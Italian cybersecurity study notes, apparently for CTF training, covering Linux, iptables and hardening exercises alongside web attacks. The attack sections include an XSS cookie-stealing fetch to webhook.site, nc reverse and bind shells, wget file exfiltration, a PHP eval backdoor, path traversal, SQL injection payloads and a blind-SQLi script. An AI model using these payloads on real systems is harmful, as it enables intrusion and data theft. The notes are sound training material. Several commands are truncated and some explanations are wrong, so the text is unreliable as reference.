Esercizi cysec

All’inizio del codice bash:

```
#! /usr/bin/env bash
(oppure)
#! /bin/bash
```

Ripassino di SED

```
sed '/pattern/ d' file #cancella il file
sed '/pattern/ c\nuova_riga' file #modifica il file con quello che segue c

#altri pattern utili:
#sostituire l'occorrenza in una riga
s/vecchio/nuovo
#sostituire tutte le occorrenze di una riga
s/vecchio/nuovo/g
#sostituire vecchio con nuovo solo alla quarta occorrenza della riga
sed '4s/pattern/sostituto/g' file
#sostituire vecchio con nuovo solo alla quarta occorrenza di vecchio in ogni riga
sed 's/pattern/sostituto/4' file
```

Ripassino Permessi

```
SUID = 100 = 4
GUID = 010 = 2
Sticky = 001 = 1

r = 100 = 4
w = 010 = 2
```

```
x = 001 = 1
#e combinati sempre in binario! → SUID + rw + niente + niente = 4600
```

Ripasso iptables

```
sudo iptables
-A/F/P INPUT/OUTPUT/FORWARD #(A)inserisce nuova regola, (F)Flusha tutto o (
-i <interfaccia input(es.lo, eth0,wlan0,docker,enp0s3)>
-o <interfaccia output>
-p <protocollo(es.tcp,udp,icmp,esp)>
-m multiport #per specificare più porte
-dport <numero_porta_destinazione (per output)>
-sport <numero_porta_source (per input)>
-s <ip_source>
-d <ip_destination>
-m state --state NEW,ESTABLISHED,INVALID #stati del pacchetto
-j ACCEPT/DROP/REJECT/LOG #azioni all'arrivo di un pacchetto valido (jump)
#nota -j serve sempre tranne che per la policy predefinita!
```

Altro su iptables

```
iptables -L #mostra configurazione attuale

iptables-save #per mostrare in output la corrente
iptables-save > file.txt #per salvare

iptables-restore < file.txt #per restorare
```

Linux system

```
ps -aux #controlla i processi
netstat -tulnp #controllo porte apert
```

```
systemctl #controllo systemd - overview del OS
systemctl list-unit-files --state=enabled #controlla i servizi enabled
systemctl start/enable/stop servizio #avvia, avvia al boot o spegne un servizio

journalctl -u <unit> #prende i log da unit

#cosa succede se il processo crasha,
#quale utente lo esegue, variabili d'ambiente → systemctl
#cambi file unit in /etc/systemd/system

#user definito in /etc/shadow (adduser per crearne nuovi)
#gruppi in /etc/group
#password in /etc/shadow (criptate e accessibili solo a root)

#PAM - configurazione pam.d per cambiare requisiti password
#Logs - /var/log
```

Ripasso JavaScript [utile in XSS]

```
alert('XSS')  #test alert per vedere se funziona js
document.location.href #url posizione
document.cookie #ruba cookie

fetch("https://webhook.site/?" + document.cookie) #esfiltra dati verso sito attacc

#in generale in html si mette tra <script></script> però spesso è blacklistato:
#in questo caso richiamo con attributi evento:
<img src="x" onerror="fetch('webhook_link' + document.cookie)">
```

Ripassino PHP

```
<?php ... ?>

#funzioni utili:
#echo: stampa a schermo
echo "Ciao " . $_GET['name'];
print("")

#funzioni di sistema
exec()
system()
eval()

#metodi superglobali
$_GET['x']   #Dato via URL (?x=...)
$_POST['x']    #Dato via form (metodo POST)

#altro
var_dump è una funzione che printa tutto il contenuto di una variabile

$y = array(”x” ⇒ “Hello”); #array associativi
print($y[x]); #ci si accede così
```

Ripasso Python Requests

```
import requests

url = 'http://xss1.challs.cyberchallenge.it/report'
r = requests.get(url)
print("ricevuto: ", r.status_code)
print("cookies: ", r.cookies)

#Uso un cookie mio in una get
cookies = {'my_cookie': 'cookie_value'}
r = requests.get(url, cookies=cookies)
```

```
print("ricevuto: ", r.status_code)

## POST
p=requests.post('url', data={'key': 'value'})
print("ricevuto: ", p.json())


# METODI DELETE, HEAD, OPTIONS
r = requests.delete('https://httpbin.org/delete')
r = requests.head('https://httpbin.org/get')
r = requests.options('https://httpbin.org/get')
```

Esfiltrare dati

```
nc -e /bin/bash host port #reverse shell (mi ci connetto con nc)
wget  --post-file <file> http://webhook... #con command injection
          --post-data <stringa_dati>
```

▼ WEB SECURITY

▼ Command Injection - PHP Code Injection

- **Command Injection**

```
#codice generalmente PHP che esegue senza sanificazione
#si aggiungono comandi separando con
";" , "\n", operatori logici, &&, ||

#metodi per verificare che ci sia:
sleep(5) #temporizzo per vedere se attende
```

- **PHP Code Injection**

```
#Metodi:
```

```
#inclusione file infetto caricato da me
#(es. logs con errore voluto con un errore voluto <?php ... ?>
include ‘path/to/file’;

#Può capitare che posso inserire direttamente il codice
<?php eval($_GET['c']); ?>
#Per attivarla è sufficiente visitare il sito passandogli c come arg
https://link/applicazione.php?c=phpinfo();
```

▼ **File Disclosure - Path Traversal - Server Side Request Forgery (SSRF)**

- **File Disclosure con path traversal**

```
#Funzione PHP open($url) #in sql injection
open($input + '/file') #rubiamo un file pubblico

#Con curl - sempre passando con php il valore dello static file
curl http://link/static.php?static_file=/../../../../etc/passwd
```

- **SSRF**

  Per trovare un SSRF

  - cerco URL sospetti
  - A questo punto devi provare ad inserire hostnames interni come “**localhost**” o “**192.168.1.1**” o “**10.0.0.1**” e così via esaminando la risposta.

```
https://localhost/filecercato #questo inserito in input al server viene letto c
#alternativamente provo
# 192.168.1.1
# 10.0.0.1
```

▼ **SQL Injection**

- **SQL Injection** (normale)

- Per riconoscerla provo caratteri speciali **‘ \ “ `** (backquote, altgr + ‘) - se crasha →

```
" or 1=1 -- '
# 1=1 per riportare almeno un risultato - ci puoi mettere quello che ti p

#wget per sqlinjection
wget "http://target.com/page.php?id=1 UNION SELECT null,version()-
```

- **UNION SQL Injection**

```
#Verifico versione sql per vedere che tipo è (per mysql è:)
union select 1,2, ..., version()

#Per conoscere nome colonne e nome table in mysql:
' union select 1,2,..., table_name from information_schema.tables -- '
' union select 1,2,table_name, column_name from information_schema

#Nota: entrambe le query devono avere lo stesso numero di colonne e
```

- **Blind SQL Injection**
  - No output completo della query, ma solo informazioni sul fatto che sia abbia avuto successo o sia fallita.
  - (SELECT 1 WHERE 1=1)='1 per verificare che funzioni il true/false (dovrebbe restituire true)
  - Se non si conoscono i caratteri specifici che possono comparire nel dato da ricostruire, può essere utile istruire il database a codificarlo in formato esadecimale. In questo modo il numero di caratteri da testare si riduce a sedici, appartenenti all'alfabeto noto composto dalle cifre da 0 a 9 e le prime sei lettere dell'alfabeto.
  - The `LIKE` operator is used in a `WHERE` clause to search for a specified pattern in a column. % rappresenta singoli caratteri

```
#esempio si cerca un qualsiasi elemento che cominci con guess
1' AND (SELECT 1 FROM secret WHERE HEX(asecret) LIKE 'guess%')=
#questo si fa a ripetizione con il codice python sotto:

inj = Inj('http://web-17.challs.olicyber.it')

dictionary = '0123456789abcdef'
result = ''

while True:
    for c in dictionary:
        question = f"1' and (select 1 from secret where HEX(asecret) LIKE
        response, error = inj.blind(question)
        print(response)
        if response == 'Success': # We have a match!
            result += c
            break
    else:
        break
print('Result:', result)
```

- **Timed SQL Injection**

  olto simile a quella usata per una SQL injection blind: come prima dovremo scrivere un'altra query che faccia da oracolo, ma stavolta successo o fallimento saranno discriminati sulla base del tempo di risposta - inseriamo una sleep che si attiva solo se è vera la where.

```
#in pratica si aggiunge uno sleep che si avvia nel momento in cui
#è vera l'espressione where
1' AND (SELECT SLEEP(1) FROM flags WHERE HEX(flag) LIKE 'guess%

#la logica è questa:
from time import time
# Registriamo il tempo di inizio
```

```
start = time()
# Lanciamo la query...
inj.time(...)
# Confrontiamo il tempo finale con quello di partenza
elapsed = time() - start
if elapsed > 1:
    # match!
```

▼ **XSS - CSRF**

- **XSS**

  Utilizzo javascript in mezzo ad html per fare XSS

```
#Tramite url
http://foo.bar/hello.php?name=<script>alert(1)</script>

#con input altrimenti
<img src="a" onerror="fetch('https://webhook.site/304b9e35-9408-4
```

- **CSRF**

▼ HARDENING

1. Attivare sudo utente per un solo file

```
sudo visudo
cysec ALL=(ALL) NOPASSWD: /usr/bin/nmap
```

2. Configurare sudo per far eseguire comando specifico ma senza parametri

```
sudo visudo
cysec ALL=(ALL) NOPASSWD: /usr/bin/nmap ""
```

3. Cercare tutti gli eseguibili con SUID | SGID | Sticky bit

```
find / -perm -4000
find / -perm -2000
```

```
find / -perm -1000
```

(Nota che / è il punto di partenza, cioè root)

4. Creare una shell aperta a tutti in attesa di connessione (e connettercisi)

```
nc -lvp 4444 -e /bin/bash
#Per connettersi: nc <ip> <port>
```

5. Modificare configurazione pam per richiedere caratteristiche minime alle password (min 8 caratteri, maiuscole, minuscole, simboli)

```
#backup e modifica
sudo cp /etc/pam.d/common-password /etc/pam.d/common-password.b
sudo nano /etc/pam.d/common-password

#modifico la riga della password che richiede i requisiti
password requisite pam_pwquality.so retry=3 minlen=8 ucredit=-1 lcredit=

#oppure usando SED '/pam_pwquality\.so/ c\ significa cambia la riga
#/pam_pwquality.so con quella che segue
sudo sed '/pam_pwquality\.so/ c\password requisite pam_pwquality.so re
```

6. Inserisci un password per grub per non permettere l’avvio dell’os con parametri del kernel non standard

```
#creo la password sha
grub-mkpasswd-pbkdf2
#modifico il file di configurazione inserendo la password ottenuta
sudo nano /etc/grub.d/40_custom #40_custom per modificare il grub!
   #inserisco in NANO
   set superusers="admin"
```

```
    password_pbkdf2 admin <password_di_prima>

#faccio update del grub
sudo update-grub
```

7. Rendi la cartella /var/log leggibile solo da root

```
sudo chown root /var/log
sudo chmod 400 /var/log

#verifico
ls -l /var/log
```

8. Configura utente per poter fare cat dei logs ma non essere amministratore

```
#modifico sudoers
sudo visudo
#aggiungo o modifico
cysec ALL=(root) NOPASSWD: /bin/cat /var/log/*
```

9. Trova tutti i processi che hanno un file descriptor aperto dentro la cartella /var/log

```
#uso il comando lsof ricorsivamente (+D)
sudo lsof +D /var/log
```

10. Usa Docker per effettuare una privilege escalation

```
#suggerito da chat *non ho potuto farlo su vm*
docker run -v /:/mnt --rm -it debian chroot /mnt
# in pratica avvia una shell interattiva (-it):
# monta il filesystem dell'host / in docker su :/mnt
# usando debian come immagine di base
# e cambiando la radice del filesystem in /mnt
# Così l'utente base può fare quello che gli pare!
```

11. Cerca se ci sono directory/file scrivibili da tutti gli utenti in home

```
# -type d cerca e directories
# -o=w indica il permesso che cerco
find /home -type d -perm -222

#per i file sarebbe
find /home -type f -perm -222
```

12. Crea un utente la cui password scade ogni giorno

```
#uso useradd e passwd per cambiare creare e cambiare utente, poi
#chage per cambiare le impostazioni della password
sudo useradd -m paperino
sudo passwd paperino
sudo chage -M 1 paperino
```

13. Imposta iptables per permettere l'accesso alla macchina solo via SSH (TCP port 22)

```
#flusho tutta la configurazione precedente
sudo iptables -F INPUT
sudo iptables -F OUTPUT
sudo iptables -F FORWARD

#setto policy di base per droppare tutto
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

#aggiungo policy richieste
sudo iptables -A INPUT -p tcp -dport 22 -m state --state NEW,ESTABLISH
sudo iptables -A OUTPUT -p tcp -sport 22 -m state --state NEW,ESTABLI
```

```
#aggiungo anche loopback per completezza
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT
```

14. Imposta iptables per permettere l'accesso alla macchina solo da ssh (tcp porta 22) con un ip 1.2.3.4 e dalla macchina ad un webserver qualunque (porte tcp 80,443)

```
#flusho tutto
sudo iptables -F INPUT
sudo iptables -F OUTPUT
sudo iptables -F FORWARD

#aggiorno la policy per droppare
sudo iptables -P INPUT DROP
sudo iptables -P OUTPUT DROP
sudo iptables -P FORWARD DROP

#aggiungo la policy per il lo
sudo iptables -A INPUT -i lo -j ACCEPT
sudo iptables -A OUTPUT -o lo -j ACCEPT

#aggiungo le mie policy
sudo iptables -A INPUT -p tcp --dport 22 -s 1.2.3.4 -m state --state NEW,
sudo iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHE
sudo iptables -A OUTPUT -p tcp -m multiport --dport 80,443 -m state --s
sudo iptables -A INPUT -p tcp -m multiport --sport 80,443 -m state --stat
```

Nota che per bloccare la navigazione internet degli utenti è sufficiente cancellare NEW in output su 80,433 perchè a noi serve solo ESTABLISHED per far funzionare il server